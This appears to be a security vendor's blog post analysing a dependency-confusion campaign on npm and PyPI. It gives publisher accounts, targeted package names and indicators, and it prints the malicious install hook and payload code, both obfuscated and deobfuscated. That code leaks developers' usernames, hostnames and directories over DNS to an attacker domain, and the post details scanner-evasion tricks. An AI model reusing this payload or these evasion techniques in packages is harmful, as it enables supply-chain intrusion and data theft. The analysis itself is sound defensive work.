Table of Contents
TL;DR
A researcher operating under the sl4x0 identity has been running a dependency confusion campaign since June 2025, publishing 92+ packages across 32 throwaway npm and PyPI accounts targeting over 20 named organizations. Each package exfiltrates the developer’s username, hostname, and working directory via DNS queries to oob[.]sl4x0[.]xyz. The package names suggest they likely target internal dependencies at these organizations. The minimal payload and explicit *poc naming of publisher accounts suggest security research or bug bounty probing rather than a full malicious operation. Regardless of intent, the packages execute code on install and leak developer identity to an unauthorized third party.
Impact:
- Exfiltrates the local OS username, hostname, and current working directory of any developer who installs a campaign package
- DNS-based exfiltration bypasses most HTTP-based egress monitoring
- Reconnaissance data (usernames, hostnames, project directories) enables targeted follow-up attacks
- Likely targets span Fortune 500 companies, financial institutions, defense contractors, and tech companies
Indicators of Compromise (IoC):
- Exfiltration domain:
oob[.]sl4x0[.]xyz - DNS query pattern:
<prefix>.<username>.<hostname>.<cwd>.<timestamp>.oob[.]sl4x0[.]xyz - Publisher email domain:
*@sl4x0[.]xyz - Version patterns:
9.9.0,9.9.9,9.9.10,9.9.11,99.9.9,99.99.9(inflated to win dependency confusion) - 32 npm/PyPI accounts (full list in Campaign Infrastructure section)
Campaign Overview
Timeline
Data from SafeDep threat intelligence reveals this campaign has been active for 10 months with distinct phases:
| Period | New Packages | Active Accounts | Targets |
|---|---|---|---|
| June 2025 | 33 | 6 | Broad (generic squatting) |
| July 2025 | 16 | 4 | Broad (continued generic) |
| Aug 2025 | 7 | 3 | Targeted (bbch, callemback, collabhunting) |
| Sep 2025 | 1 | 1 | CrowdStrike |
| Oct 2025 | 4 | 3 | Mixed |
| Dec 2025 | 5 | 2 | Dealfront, generic |
| Jan 2026 | 14 | 8 | Checkout.com, Santander, Shopee, Zurich Insurance, Wildberries, Blick, Anduril (PyPI) |
| Feb 2026 | 2 | 2 | Coca-Cola, Huawei |
| Mar 2026 | 10 | 7 | Adobe, Ford, Sony, Xfinity/Comcast, Carnival, Medidata, Tombac |
The campaign started with broad namespace squatting in mid-2025, then pivoted to what appear to be targeted, organization-specific attacks in late 2025 and 2026. The *poc suffix on account names (e.g., adobepoc, fordpoc, sonypoc) explicitly labels each as a “proof of concept” against a named target.
All 2025-era accounts have been removed from npm. As of March 24, 2026, packages from the following 2026 accounts remain live: adobepoc, fordpoc, carnivalpoc, xfinitypoc, sonypoc, cocacolapoc, huaweipoc, tombacpoc, medidata.
Campaign Infrastructure
All publisher accounts use email addresses on the sl4x0[.]xyz domain. The exfiltration endpoint oob[.]sl4x0[.]xyz is shared across all packages. The GitHub organization slaxorg (referenced in package.json metadata) does not exist, confirming fabricated provenance.
Complete list of known publisher accounts:
| Account | Target | Packages | Ecosystem | Still Live | |
|---|---|---|---|---|---|
adobepoc | adobepoc@sl4x0[.]xyz | Adobe | 11 | npm | Yes |
fordpoc | fordpoc@sl4x0[.]xyz | Ford Motor | 2 | npm | Yes |
carnivalpoc | carnivalpoc@sl4x0[.]xyz | Carnival Corp | 1 | npm | Yes |
xfinitypoc | xfinitypoc@sl4x0[.]xyz | Xfinity/Comcast | 2 | npm | Yes |
sonypoc | sonypoc@sl4x0[.]xyz | Sony | 1 | npm | Yes |
cocacolapoc | cocacolapoc@sl4x0[.]xyz | Coca-Cola | 2 | npm | Yes |
huaweipoc | huaweipoc@sl4x0[.]xyz | Huawei | 1 | npm | Yes |
tombacpoc | tombacpoc@sl4x0[.]xyz | Tombac | 1 | npm | Yes |
medidata | medidata@sl4x0[.]xyz | Medidata Solutions | 1 | npm | Yes |
checkoutpoc | checkoutpoc@sl4x0[.]xyz | Checkout.com | 2 | npm | No |
wildberriespoc | wildberriespoc@sl4x0[.]xyz | Wildberries | 2 | npm | No |
blickpoc | blickpoc@sl4x0[.]xyz | Blick (media) | 1 | npm | No |
zurichpoc | zurich@sl4x0[.]xyz | Zurich Insurance | 1 | npm | No |
standardbank | standardbank@sl4x0[.]xyz | Santander UK | 1 | npm | No |
crowdstrikeerrrrrrr | crowdstrikeerrrrrrr@sl4x0[.]xyz | CrowdStrike | 1 | npm | No |
dealfrontpoc | dealfrontpoc@sl4x0[.]xyz | Dealfront | 2 | npm | No |
seacom | seacom@sl4x0[.]xyz | Shopee/Servicepoint | 3 | npm | No |
uc-platform | uc-platform@sl4x0[.]xyz | UC Platform | 1 | npm | No |
global-engineering-shared | global-engineering-shared@sl4x0[.]xyz | Google (gweb) | 1 | npm | No |
bbch | bbch@sl4x0[.]xyz | Mobile SDK vendor | 2 | npm | No |
collabhunting | collab@sl4x0[.]xyz | Expedia (UITK) | 2 | npm | No |
testingnpmtakeovers | testingnpmtakeovers@sl4x0[.]xyz | Generic | 3 | npm | No |
sl4x0 / research | research@sl4x0[.]xyz | Anduril | 3 | PyPI | N/A |
slaxoit | slaxoit@sl4x0[.]xyz | Broad | 16 | npm | No |
slaxoyou | slaxoyou@sl4x0[.]xyz | Broad | 11 | npm | No |
slaxowe | slaxowe@sl4x0[.]xyz | Broad | 8 | npm | No |
slaxoshe | slaxoshe@sl4x0[.]xyz | Broad | 5 | npm | No |
slaxohe | slaxohe@sl4x0[.]xyz | Broad | 3 | npm | No |
callemback | callemback@sl4x0[.]xyz | Broad | 8 | npm | No |
vdchhhh | vdch@sl4x0[.]xyz | Generic | 2 | npm | No |
twentyaugust | twentyaugust@sl4x0[.]xyz | Twitter (flight) | 1 | npm | No |
Packages Still Live on npm (as of March 24, 2026)
These packages remain available for download and should be considered actively dangerous:
| Package | Version | Publisher | Target |
|---|---|---|---|
oc-aa-module-client | 9.9.10 | adobepoc | Adobe |
oc-navbar-module-client | 9.9.10 | adobepoc | Adobe |
oc-ccp-module-client | 9.9.10 | adobepoc | Adobe |
oc-pdc-module-client | 9.9.0 | adobepoc | Adobe |
oc-conversation-history-module-client | 9.9.0 | adobepoc | Adobe |
oc-ecm-module-client | 9.9.0 | adobepoc | Adobe |
oc-cip-module-client | 9.9.0 | adobepoc | Adobe |
oc-recommendedupgrade-module-client | 9.9.0 | adobepoc | Adobe |
oc-agent-toolbar-module-client | 9.9.0 | adobepoc | Adobe |
oc-pico-module-client | 9.9.0 | adobepoc | Adobe |
@phonos/types | 9.9.10 | adobepoc | Adobe (Phonos) |
@wame/ngx-frf-utilities | 9.9.11 | fordpoc | Ford |
@wame/ngx-adfs | 9.9.11 | fordpoc | Ford |
cclr-component-resources | 9.9.10 | carnivalpoc | Carnival |
@ceeferenderer/itg-renderer-sdk | 99.9.9 | xfinitypoc | Xfinity |
@ceeferenderer/fe-renderer-sdk | 99.9.9 | xfinitypoc | Xfinity |
cr-static-shared-components | 9.9.9 | sonypoc | Sony |
@the-coca-cola-company/ngps-global-common-utils | 9.9.9 | cocacolapoc | Coca-Cola |
@the-coca-cola-company/receipt-scanner-admin-lib | 9.9.9 | cocacolapoc | Coca-Cola |
@cloudsop/hmoment | 9.9.9 | huaweipoc | Huawei |
tombac-chronos | 9.9.9 | tombacpoc | Tombac |
ftapi-core | 99.9.9 | medidata | Medidata |
Deep Dive: oc-aa-module-client
Package Overview
[email protected] was published to npm on March 22, 2026 by the adobepoc account. This account published 11 packages between March 21 and 22, 2026, all sharing an identical description (“Enterprise-grade utilities with enhanced validation and compatibility layer”), identical keywords, and the same code structure.
The package names likely follow Adobe’s internal Omnichannel module naming convention (oc-*-module-client), apparently targeting modules like Adobe Analytics (aa), Contact Center Platform (ccp), Navigation Bar (navbar), and others. The package.json points to a GitHub organization slaxorg that does not exist, fabricating provenance.
The README is generic boilerplate with placeholder badge URLs (org/repo, package) and ironically claims: “No file system access” and “No network requests.” The package does both through its obfuscated lib/ directory.
Execution Trigger
The package.json defines an install script that executes the entry point on npm install:
"scripts": { "install": "node index.js"}The entry point silently loads the malicious payload:
'use strict';try { require('./lib/core');} catch (e) {}module.exports = { version: '9.9.10' };The try/catch with an empty handler ensures the install succeeds silently even if the payload fails. The exported { version: '9.9.10' } provides a benign surface for anyone inspecting the module’s return value.
Malicious Payload
The payload spans three files in lib/: a configuration module, a utilities module, and the core logic.
Configuration (lib/b02e30.js) stores the exfiltration domain and package identifier using hex-encoded character arrays:
'use strict';const _0x5b3d = [0x6f, 0x6f, 0x62, 0x2e, 0x73, 0x6c, 0x34, 0x78, 0x30, 0x2e, 0x78, 0x79, 0x7a];const _0x6c4e = 'ocaa';const _0x7d5f = (s) => { let r = ''; for (let i = 0; i < s.length; i++) r += String.fromCharCode(s[i]); return r;};module.exports = { p: _0x6c4e, d: _0x7d5f([0x2e]), dom: _0x7d5f(_0x5b3d), decode: _0x7d5f };Deobfuscated, this resolves to:
module.exports = { p: 'ocaa', // package identifier for this campaign package d: '.', // separator dom: 'oob.sl4x0.xyz', // attacker-controlled exfiltration domain decode: String.fromCharCode, // utility function reused by core.js};Utilities (lib/6ad264.js) loads Node.js built-in modules through module.constructor._load() to avoid plain require() calls that static scanners flag:
'use strict';const _0xb1i9 = (x) => { let s = ''; for (let i = 0; i < x.length; ++i) s += String.fromCharCode(x[i]); return s;};const _0xc2j0 = module.constructor[_0xb1i9([0x5f, 0x6c, 0x6f, 0x61, 0x64])](_0xb1i9([0x6f, 0x73]));const _0xd3k1 = module.constructor[_0xb1i9([0x5f, 0x6c, 0x6f, 0x61, 0x64])](_0xb1i9([0x64, 0x6e, 0x73]));const _0xe4l2 = global[_0xb1i9([0x70, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73])];const clean = (s) => (s + '').replace(/[^a-z0-9]/gi, '').slice(0, 15);module.exports = { os: _0xc2j0, dns: _0xd3k1, proc: _0xe4l2, clean: clean };Deobfuscated:
const os = module.constructor._load('os'); // avoids require('os')const dns = module.constructor._load('dns'); // avoids require('dns')const proc = global.process;const clean = (s) => (s + '').replace(/[^a-z0-9]/gi, '').slice(0, 15);module.exports = { os, dns, proc, clean };The clean() function strips non-alphanumeric characters and truncates to 15 characters, ensuring the collected data fits within DNS label length limits (max 63 characters per label).
Core payload (lib/core.js) collects system information and exfiltrates it via DNS:
'use strict';const cfg = require('./b02e30');const util = require('./6ad264');(() => { let u = 'u', h = 'h', c = 'd'; try { u = util.clean( util.os[cfg.decode([0x75, 0x73, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f])]()?.[ cfg.decode([0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65]) ] ); } catch (e) {} try { h = util.clean(util.os[cfg.decode([0x68, 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65])]()); } catch (e) {} try { c = util.clean( util.proc[cfg.decode([0x63, 0x77, 0x64])]() .split(/[\/\\]/) .pop() ); } catch (e) {} const t = Math.floor(Date.now() / 1e3); const q = [cfg.p, u || 'u', h || 'h', c || 'd', t, cfg.dom].join(cfg.d); try { util.dns[cfg.decode([0x72, 0x65, 0x73, 0x6f, 0x6c, 0x76, 0x65, 0x34])](q, () => {}); } catch (e) {}})();Deobfuscated:
const cfg = require('./b02e30');const util = require('./6ad264');
(() => { let u = 'u', h = 'h', c = 'd'; // fallback values try { u = util.clean(util.os.userInfo()?.username); } catch (e) {} try { h = util.clean(util.os.hostname()); } catch (e) {} try { c = util.clean( util.proc .cwd() .split(/[\/\\]/) .pop() ); } catch (e) {}
const t = Math.floor(Date.now() / 1000); // unix timestamp const q = ['ocaa', u, h, c, t, 'oob.sl4x0.xyz'].join('.'); // e.g. "ocaa.jsmith.devbox42.myproject.1711234567.oob.sl4x0.xyz"
try { util.dns.resolve4(q, () => {}); } catch (e) {}})();Data Exfiltration via DNS
The attack uses DNS as a covert exfiltration channel. By calling dns.resolve4() with a crafted subdomain query, the collected data travels through DNS resolution to the attacker’s authoritative nameserver for oob[.]sl4x0[.]xyz. The attacker reads the data directly from DNS query logs without needing the resolution to succeed.
The exfiltration query follows this structure:
ocaa.<username>.<hostname>.<cwd_dirname>.<unix_timestamp>.oob.sl4x0.xyzA developer named jsmith working on machine adobe-dev-42 in directory /home/jsmith/code/omnichannel-platform would generate:
ocaa.jsmith.adobedev42.omnichannelplatf.1711234567.oob.sl4x0.xyzThis approach is effective for several reasons. DNS traffic is rarely blocked or inspected by corporate firewalls. The query looks like normal DNS resolution to network monitoring tools. No HTTP connection or response is needed; the query itself carries the data. The empty callback () => {} means the code does not wait for or process the response.
The ocaa prefix identifies which campaign package triggered the beacon, allowing the attacker to correlate responses across the 11+ Adobe packages (each would use a different prefix like occcp, ocnavbar, etc.).
This is the same fundamental technique we analyzed in the Schedaero dependency confusion campaign, though that campaign used HTTP-based exfiltration rather than DNS. The DNS approach is stealthier since it sidesteps HTTP egress monitoring entirely. Similar dependency confusion patterns using Burp Collaborator have also been documented targeting other organizations.
Obfuscation Techniques
The package uses three layers of obfuscation:
Hex-encoded string literals: Method names like
userInfo,hostname,cwd, andresolve4are passed as hex byte arrays ([0x75, 0x73, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f]) and decoded at runtime viaString.fromCharCode. This evades static string matching by scanners looking for suspicious API calls.Indirect module loading: Instead of
require('os')orrequire('dns'), the code usesmodule.constructor._load('os'). This private Node.js API achieves the same result but avoids triggeringrequire()pattern matching in security tools.Decoy source files: The
src/directory contains ~600 lines of legitimate, well-documented utility code (validation, formatting, crypto wrappers) that serves no functional purpose. Theindex.jsentry point never imports anything fromsrc/. These files exist solely to make the package appear legitimate during cursory review.
Dependency Confusion Strategy
All packages in this campaign use abnormally high version numbers (9.9.0, 9.9.10, 99.9.9, 99.99.9). This is the hallmark of dependency confusion: when a build system pulls from both a private registry and the public npm registry, it resolves to the highest available version. By publishing version 99.99.9 of a package that internally exists at version 2.3.1, the attacker ensures the public (malicious) version wins.
The package names are not random. They likely match internal package naming conventions at each apparent target organization:
- Adobe:
oc-*-module-client(likely Omnichannel platform modules) - Ford:
@wame/ngx-*(likely Angular modules under Ford’s WAME framework) - Coca-Cola:
@the-coca-cola-company/*(scoped company packages) - Xfinity:
@ceeferenderer/*(likely internal renderer SDK) - Wildberries:
@wb-team/*,@wbgo/*(likely internal team packages)
This level of specificity suggests the attacker performed reconnaissance on each target’s internal package ecosystem before publishing. The Hyatt-targeting campaign we previously analyzed used the same version inflation strategy (999.999.999) against hospitality sector targets.
Conclusion
The sl4x0 campaign is a sustained, multi-target dependency confusion operation active since June 2025. The explicit *poc account naming, minimal DNS-only payload, and absence of credential theft or persistence strongly suggest security research or bug bounty probing rather than a destructive attack. The packages still execute arbitrary code on install and leak developer identity to an unauthorized third party, which represents real supply chain risk regardless of intent.
As of March 24, 2026, 22 packages across 9 publisher accounts remain live on npm. Organizations whose internal package names appear in the IoC list should:
- Audit
.npmrcand registry configurations to ensure private packages resolve from internal registries only - Monitor DNS logs for queries to
oob[.]sl4x0[.]xyz - Treat any system that installed a campaign package as compromised for reconnaissance purposes
- Use tools like
vetto detect malicious packages before they enter the build pipeline
References
- Exfiltration domain:
oob[.]sl4x0[.]xyz - SafeDep threat intelligence: 92+ confirmed malicious package records
- npm: oc-aa-module-client
- npm: @wame/ngx-adfs
- npm: @the-coca-cola-company/ngps-global-common-utils
- npm: cr-static-shared-components
- npm: @ceeferenderer/fe-renderer-sdk
- Original dependency confusion research by Alex Birsan
- npm
- oss
- malware
- supply-chain
- security
- dependency-confusion
Author
SafeDep Team
safedep.io
Share
The Latest from SafeDep blogs
Follow for the latest updates and insights on open source security & engineering

Malicious litellm 1.82.8: Credential Theft and Persistent Backdoor
Analysis of compromised litellm 1.82.8 on PyPI: a .pth file triggers credential theft, AWS/K8s secret exfiltration, and persistent C2 backdoor on install.

Malicious npm Package react-refresh-update Drops Cross-Platform Trojan on Developer Machines
A malicious npm package impersonating react-refresh, Meta's library with 42 million weekly downloads, was detected by SafeDep. The package injects a two-layer obfuscated dropper into runtime.js that...

Trivy Supply Chain Compromise: What Happened, What Was Stolen, and How to Respond
A consolidated technical reference for the TeamPCP supply chain attack against Aqua Security's Trivy scanner. Covers the full attack chain from AI-assisted initial breach through credential theft,...

How to Write Time-Based Security Policies in SafeDep vet
Protect against unknown malicious open source packages by enforcing a supply chain cooling-off period using the now() CEL function in SafeDep vet.

Ship Code
Not Malware
Install the SafeDep GitHub App to keep malicious packages out of your repos.
